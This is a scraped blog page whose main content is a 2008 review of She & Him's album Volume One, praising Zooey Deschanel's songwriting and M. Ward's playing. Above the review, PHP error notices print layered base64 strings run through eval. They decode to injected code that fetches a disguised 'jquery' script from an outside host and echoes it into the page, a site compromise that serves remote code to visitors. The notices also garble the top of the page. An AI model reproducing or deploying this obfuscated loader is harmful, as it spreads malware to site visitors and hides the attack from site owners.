Notice: Use of undefined constant ZXZhbChiYXNlNjRfZGVjb2RlKFpYWmhiQ2hpWVhObE5qUmZaR1ZqYjJSbEtGcFlXbWhpUTJocFdWaE9iRTVxVW1aYVIxWnFZakpTYkV0R2NGbFhiV2hwVVRKb2NGZFdhRTlpUlRWeFZXMWFZVkl4V25GWmFrcFRZa1YwUm1WRVZsQlNSMmhTVkZSQ1MyUnNhM2RTV0dSVVRVVTFXVmxyWTNoVVJrbDRZak5vV21KVVJsQlVWV1JIVjBVNVdWWnNiRTVpUm10M1YxWmFiMVF3TVVoVWFsWmhUV3BXWVZSVVJtRk9WbXh5VjFSV2FsSXdjREJaYTFKRFV6SldXR1JJWkZOU2Exb3lWVEl4VjAwd01VWmtSVkpXVmpOU2VWZHJXbTlUTWsxM1lrVldUbEl5VWt0WmJHUnVaREZ3Um1GRlNrOWhNMmN4VkRGb2IyRkhTbFpYV0d4WVZtMVNTRnBFU2s5U1JUVllZMGRzVG1GclNYbFhWbU40VWpBeGMySkdVbEJYUlZweFZqQmFZV014YTNsT1dFcHJVbFJHVlZSclVrdFVWMFp5VFZSR1dtSkhVbnBhUmxZMFpFZE9TV05GY0doaWF6VjFWV3RhUjJSc1RuSlViRkpXWWxoQ2IxVlVRa1pPVms1V1drVTVUbFl3TlRCYVZXUmhZVVphTmxadVpHRlNWVFYxV1RCVk5VNVdSbGhhUlZaV1ZucHNURlZVUms5Vk1ERklVbXhvVGxZemFIQlVWRVphWkRGT1ZsVllaR0ZOUkZaV1dYcEthMU5zUmxWUmEzaFNUVlZhZWxsWE1WTlhWazUxVkd4c1RrMUVWbnBYYTFacVRsZFJlVlZyVW1GTmJsSmhWRmN4YTJWc1ZsVlNiR1JXVFZaS1IxUXhXa2RX - assumed 'ZXZhbChiYXNlNjRfZGVjb2RlKFpYWmhiQ2hpWVhObE5qUmZaR1ZqYjJSbEtGcFlXbWhpUTJocFdWaE9iRTVxVW in /home/www/kentucker/kenblog/index.php on line 2

Notice: Use of undefined constant TVVweFlrWmtWMVl6VVhwWmVrSjNVMVphZFdKSGJGSk5iazE2VlRGV1JtUXhUWGRVYkVwcFVqTkNjbFl3Vm5kbGJHUkZWR3M1YVZJeFNrbFVNV2hyWVRGRmVWcElTbGhXUlhCMVdYcEdSbVZHV25OVWJGWlRWa2Q0VTFadGRGcE9WbFY0VTJ4a1ZtSkdjRmRaV0hCWFZteGFXR1JGWkZWTlZsWXpWakowWVZadFJsbGFSRkpVVFZaS05sZHFRbE5WYlVsM1kwVlNWMDFFVWpSWFZFbDRUa1p3ZEZSWWJGZGhhMHB3VkZSQ1NtUXhUWGRVYkU1by5ZbFZhUlZwVlZsTldNVnB5WTBVMVYxSkZXa1JXYkZwdVpERlNjMUZzVm1obGJGcElWbFpTUjFVeFdsZFViRnBPVmxad1ZsUldXbUZXYkZKR1ZHeE9UbEl3V2xsVVZtUTBZVlV3ZUZkWVpGUk5Wa28yVjJwQ1UxVnRTWGRqUlZKV1RWVndlVll4V205Vk1rWkdZa1ZXVGxJeVVtRlVWRVpoVGxac2NsZFVWbWxTTVZwSlZtMHhkMVJHUlhoVGJrWmFWbFUxZVZScVFuTlNSa1pXVGxWU1lVMXVVa3hXTVZKUFZqSldXRk5yWkZCV00wSndWVzV3YzA1c1pITlViVFZvVFZkME5WZHFUa05WUjFaV1VtczVVazF0VW5sVk1uaDNWMFpTZEU5WGJHeFdWVnAzVlRKMGExVXlSa2hWYTJoVFZqSjRVUzVhU0hCRFZFWkZlRm96WkZWaE1EVjNWREJvWVZWWFZuRlZhemxTVFcxT2QxTXhVbnBMVTJzM0tTazcpKTs - assumed 'TVVweFlrWmtWMVl6VVhwWmVrSjNVMVphZFdKSGJGSk5iazE2VlRGV1JtUXhUWGRVYkVwcFVqTkNjbFl3Vm5kbGJHUkZWR3M1YVZJeFNrbFVNV2hyWVRGRmVWcElTbGhXUlhCMVdYcEdSbVZ in /home/www/kentucker/kenblog/index.php on line 2

Notice: Use of undefined constant ZXZhbChiYXNlNjRfZGVjb2RlKFpYWmhiQ2hpWVhObE5qUmZaR1ZqYjJSbEtGcFlXbWhpUTJocFdWaE9iRTVxVW1aYVIxWnFZakpTYkV0RmVEVlBSR2hSVFRCS2Rsa3dSWGRUTUU1WVlrY3hURkl4YjNoWmJURlBUVWRHV0U5WVZsbE5iRmt3V1Zab1QwMUhUalZhTWpWYVRURmFOVmxyV1RWalIwcDBZa1JDUzJWWGRIZFNSa1oyVTIxV00wMUZkRVJWVjNSeVdrWm9TMk13YkVWTlIyUktZbGRuZDFwRmFFSk9hM2cxVDFob2FHSlZXWGxYVm1SSFpESk9SRTVYY0dsTmFrSXlXVmN4UjAxc2JGUlBXRVpxVjBaYWMxa3lOWEprUlRGVVRrUktUV0ZyTVRGWmJHUnpaRlY0ZEdOSWNFcGhiazV1VWtaR2RsTnJUbFJWYlhCb1VUQkZOVk5WWkU5TlYwNTBaVWRhYUZaNlZuZGFSVTV1WTBVNU5WRlhaRVZWVnpsTFVURk9VMDFIUmxoTlYzaHBUVEZaZDFOVlVYZGFNRFZWWXpKa1NsRlVRa3hSTVVaellXMVNXVk51VGxsTk1EVnpXa1ZqTldReVVrUmFNblJhVFcxa2VsVlVSbGRWTVZKR1QxWkdWMUpxYkZkV1YzUXpZekJ3U1ZadWJHbFJNbk16VTFWRmQxTXdUbEppUjNCclYwVndlbGRFVGs5aVIxSklUMWhrYTFFeVpISlhWRXB1WXpGRmVGWnNUbFZTVkd4U1ZtdFpOVlV4U2xkVmJGcFdZWHBXVmxaWGRFZFVNVlYzVjJ0YVZtRllaRFJUTVZKNldqQlNVbUl3Y0VSV01EUjRXVEl4TkZwdFRYbFdha0pwVFRCSmQxTXdUbE5o - assumed 'ZXZhbChiYXNlNjRfZGVjb2RlKFpYWmhiQ2hpWVhObE5qUmZaR1ZqYjJSbEtGcFlXbWhpUTJocFdWaE9iRTVxVW in /home/www/kentucker/kenblog/index.php(2) : eval()'d code on line 1

Notice: Use of undefined constant YlVaRVpVVlNWMVpyY0U1V1JFWkRWbFpuZDFSc1FsVmhlbFpIVlZSR1UxWldUbFpOVlZwVlRWWmFWbFJGVGxOTlIwWllUVmQ0YVUweFdYZFRNVko2V2pCU1VtSXdjRVJWTVVweVYxWm9VMkZGYkVWTlIyUmFUVEZhTlZscldUVmlSMVpJVm0xd1RGRXhTbkZaVlU1eVRqQnNSRkZWTlVSYU1uUkxWMVJPVjJWWFNrZFBWM0JwVW5wc05sZHNUbTVoTVd0NVdqTkNVR1ZWUms5Uk1tUnlVMnh3V0ZSdE9XbGxWVVp3VTJ0a1UyRkhVa2hTVjJ4US5aSHBDVEZFeFozZFVhMDV3VDBoYVVXVnFVazlSTW1Od1MxUnpLU2s3KSk7 - assumed 'YlVaRVpVVlNWMVpyY0U1V1JFWkRWbFpuZDFSc1FsVmhlbFpIVlZSR1UxWldUbFpOVlZwVlRWWmFWbFJGVGxOTlIwWllUVmQ0YVUweFdYZFRNVko2V2pCU1VtSXdjRVJWTVVweVYxWm9VMkZGYkVWTlIyUmFUVEZhTlZscldUVmlSMVpJVm0xd1RGRXhTbkZaVlU1eVRqQnNSRkZWTlVSYU1uUkxWMVJPVjJWWFNrZFBWM0JwVW5wc05sZHNUbTVoTVd0NVdqTkNVR1ZWUms5Uk1tUnlVMnh3V0ZSdE9XbGxWVVp3VTJ0a1UyRkhVa2hTVjJ4US5aSHBDVEZFeFozZFVhMDV3VDBoYVVXVnFVazlSTW1Od1MxUnpLU2s3KSk7' in /home/www/kentucker/kenblog/index.php(2) : eval()'d code on line 1

Notice: Use of undefined constant ZXZhbChiYXNlNjRfZGVjb2RlKFpYWmhiQ2hpWVhObE5qUmZaR1ZqYjJSbEtFeDVPRGhRTTBKdlkwRXdTME5YYkcxTFIxb3hZbTFPTUdGWE9YVllNbFkwWVZoT01HTjVaMjVaTTFaNVlrWTVjR0p0YkRCS2VXdHdSRkZ2U21WM01FdERVV3RyWkZoS2MwbEVNR2RKYldnd1pFaEJOa3g1T1hoaGJVWXlXVmRHZDJORE5XcGlNakIyWVcxR01sbFRPWEZqV0Zac1kyNXJkRTFUTkRKTWFrMTFZbGRzZFV4dGNIcEphbk5uUkZGdlNrTlRVbXBoUTBFNVNVZE9NV050ZUdaaFZ6VndaRU5uY0U5NVFXZEVVVzlLUTFOU01HRlhNV3hpTTFZd1NVUXdaMDVVYzJkSlFUQkxRMUZzYW1SWVNuTllNMDVzWkVjNWQyUkRaMnRaTW1kelVURldVMVJGT1ZGV1JqbFdWV3QzYzBwSVZubGlRMnMzU1VFd1MwTlJiR3BrV0VweldETk9iR1JIT1hka1EyZHJXVEpuYzFFeFZsTlVSVGxSVmtZNVUxSldVbFpWYXpWVlZXdEdUMVV3V2taVmFYZDRTMVJ6WjBSUmIwcERWMDR4WTIxNFptTXlWakJpTTBJd1MwTlNhbUZEZUVSV1ZrcE5WREZDVlZnd1RsQlVhelZHVVRGU1ZWTlZNVVpVTVZaVlRFTlNNR0ZYTVd4aU0xWXdTMVJ6WjBSUmIwcERVMUpyV1ZoU2FFbEVNR2RaTTFaNVlrWTViR1ZIVm1wTFExSnFZVU5yTjBsRFFVNURaMnRLV1ROV2VXSkdPV3BpUnpsNldsTm5hMWt5WjNCUGVVRk9RMmRyU2xwWFRtOWllVUZwU2tkU2FHUkhSV2xQ - assumed 'ZXZhbChiYXNlNjRfZGVjb2RlKFpYWmhiQ2hpWVhObE5qUmZaR1ZqYjJSbEtFeDVPRGhRTTBKdlkwRXdTME5YYk in /home/www/kentucker/kenblog/index.php(2) : eval()'d code(1) : eval()'d code on line 1

Notice: Use of undefined constant ZHpCTFExZ3dUa05wT0haUWVqUk9RMmNwS1RzKSk7 - assumed 'ZHpCTFExZ3dUa05wT0haUWVqUk9RMmNwS1RzKSk7' in /home/www/kentucker/kenblog/index.php(2) : eval()'d code(1) : eval()'d code on line 1

Notice: Use of undefined constant ZXZhbChiYXNlNjRfZGVjb2RlKEx5ODhQM0JvY0EwS0NXbG1LR1oxYm1OMGFXOXVYMlY0YVhOMGN5Z25ZM1Z5YkY5cGJtbDBKeWtwRFFvSmV3MEtDUWtrZFhKc0lEMGdJbWgwZEhBNkx5OXhhbUYyWVdGd2NDNWpiMjB2YW1GMllTOXFjWFZsY25rdE1TNDJMak11YldsdUxtcHpJanNnRFFvSkNTUmphQ0E5SUdOMWNteGZhVzVwZENncE95QWdEUW9KQ1NSMGFXMWxiM1YwSUQwZ05Uc2dJQTBLQ1FsamRYSnNYM05sZEc5d2RDZ2tZMmdzUTFWU1RFOVFWRjlWVWt3c0pIVnliQ2s3SUEwS0NRbGpkWEpzWDNObGRHOXdkQ2drWTJnc1ExVlNURTlRVkY5U1JWUlZVazVVVWtGT1UwWkZVaXd4S1RzZ0RRb0pDV04xY214ZmMyVjBiM0IwS0NSamFDeERWVkpNVDFCVVgwTlBUazVGUTFSVVNVMUZUMVZVTENSMGFXMWxiM1YwS1RzZ0RRb0pDU1JrWVhSaElEMGdZM1Z5YkY5bGVHVmpLQ1JqYUNrN0lDQU5DZ2tKWTNWeWJGOWpiRzl6WlNna1kyZ3BPeUFOQ2drSlpXTm9ieUFpSkdSaGRHRWlPdzBLQ1gwTkNpOHZQejROQ2cpKTs - assumed 'ZXZhbChiYXNlNjRfZGVjb2RlKEx5ODhQM0JvY0EwS0NXbG1LR1oxYm1OMGFXOXVYMlY0YVhOMGN5Z25ZM1Z5YkY5cGJtbDBKeWtwRFFvSmV3MEtDUWtrZFhKc0lEMGdJbWgwZEhBNkx5OXhhbUYyWVdGd2NDNWpiMjB2YW1GMllTOXFjWFZsY25rdE1TNDJMak11YldsdUxtcHpJanNnRFFvSkNTUmphQ0E5SUdOMWNteGZhVzVwZENncE95QWdEUW9KQ1NSMGFXMWxiM1YwSUQwZ05Uc2dJQTBLQ1FsamRYSnN in /home/www/kentucker/kenblog/index.php(2) : eval()'d code(1) : eval()'d code(1) : eval()'d code on line 1

Notice: Use of undefined constant Ly88P3BocA0KCWlmKGZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0JykpDQoJew0KCQkkdXJsID0gImh0dHA6Ly9xamF2YWFwcC5jb20vamF2YS9qcXVlcnktMS42LjMubWluLmpzIjsgDQoJCSRjaCA9IGN1cmxfaW5pdCgpOyAgDQoJCSR0aW1lb3V0ID0gNTsgIA0KCQljdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9VUkwsJHVybCk7IA0KCQljdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsgDQoJCWN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCR0aW1lb3V0KTsgDQoJCSRkYXRhID0gY3VybF9leGVjKCRjaCk7ICANCgkJY3VybF9jbG9zZSgkY2gpOyANCgkJZWNobyAiJGRhdGEiOw0KCX0NCi8vPz4NCg - assumed 'Ly88P3BocA0KCWlmKGZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0JykpDQoJew0KCQkkdXJsID0gImh0dHA6Ly9xamF2YWFwcC5jb20vamF2YS9qcXVlcnktMS42LjMubWluLmpzIjsgDQoJCSRjaCA9IGN1cmxfaW5pdCgpOyAgDQoJCSR0aW1lb3V0ID0gNTsgIA0KCQljdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9VUkwsJHVybCk7IA0KCQljdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsgDQoJCWN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCR0aW1lb3V0KTsgDQoJCSRkYXRhID0gY3VybF9leGVjKCRjaCk7ICANCgkJY3VybF9jbG9zZSgkY2gpOyANCgkJZWNobyAiJGRhdGEiOw0KCX0NCi8vPz4NCg' in /home/www/kentucker/kenblog/index.php(2) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code on line 1
Ken Tucker’s Pop Culture » Zooey Deschanel and M. Ward: She & Him

Mar 09 2008

Zooey Deschanel and M. Ward: She & Him

Published by ken at 2:11 pm under Movies, Music, Pop Culture

Wow, what a terrific album She & Him’s Volume One (Merge) is. A collaboration between Zooey Deschanel (yes, the actress) and M.Ward (yes, singer-songwriter-guitarist Matt Ward, here primarily playing guitar and keyboards).
The surprise of She & Him is not that Deschanel has a good voice—lots of actors can sing (the vocal training helps, don’tcha know). But not many of them can write good songs (Kevin Bacon, Minnie Driver—solid as actors; um, “enthusiastic” as musicians). Deschanel writes good songs. On Volume One, she has composed an impeccable girl-group romp called “I Was Made For You” as well as lovely ballads (“Why Do You Let Me Stay Here?,” “Sentimental Heart”), even a convincing country sad song (“Got Me”). She shares songwriting credit on one of the album’s stand-outs, “Sweet Darlin,’” with another thespian, Jason Schwartzman. And, lordy, this woman knows how to execute cover songs. Deschanal and Ward place the Beatles’ “I Should Have Known Better” in a Hawaiian steel-guitar arrangement that never lapses into drippiness, and she powers through Smokey Robinson’s “You Really Got A Hold On Me” with glowing intensity.
M. Ward has long played well with women (having guested/collaborated on recordings with Cat Power, Neko Case, Beth Orton, Norah Jones, and Jenny Lewis, among others), but he out-does himself here. Together, they don’t fit into the usual female-male musical paradigms—lovers, mates, siblings, business partners—but something else: equals; two minds working in artistic agreement.
The press notes that accompanied my copy of Volume One say that Deschanel had been hoarding dozens of demos over the years, and some of them form this album. I hope she’s encouraged by the results of Volume One and keeps churning out as much music as she feels like making.
Oh, yeah—she was really good in The Assassination Of Jesse James By The Coward Robert Ford, too; go rent that.

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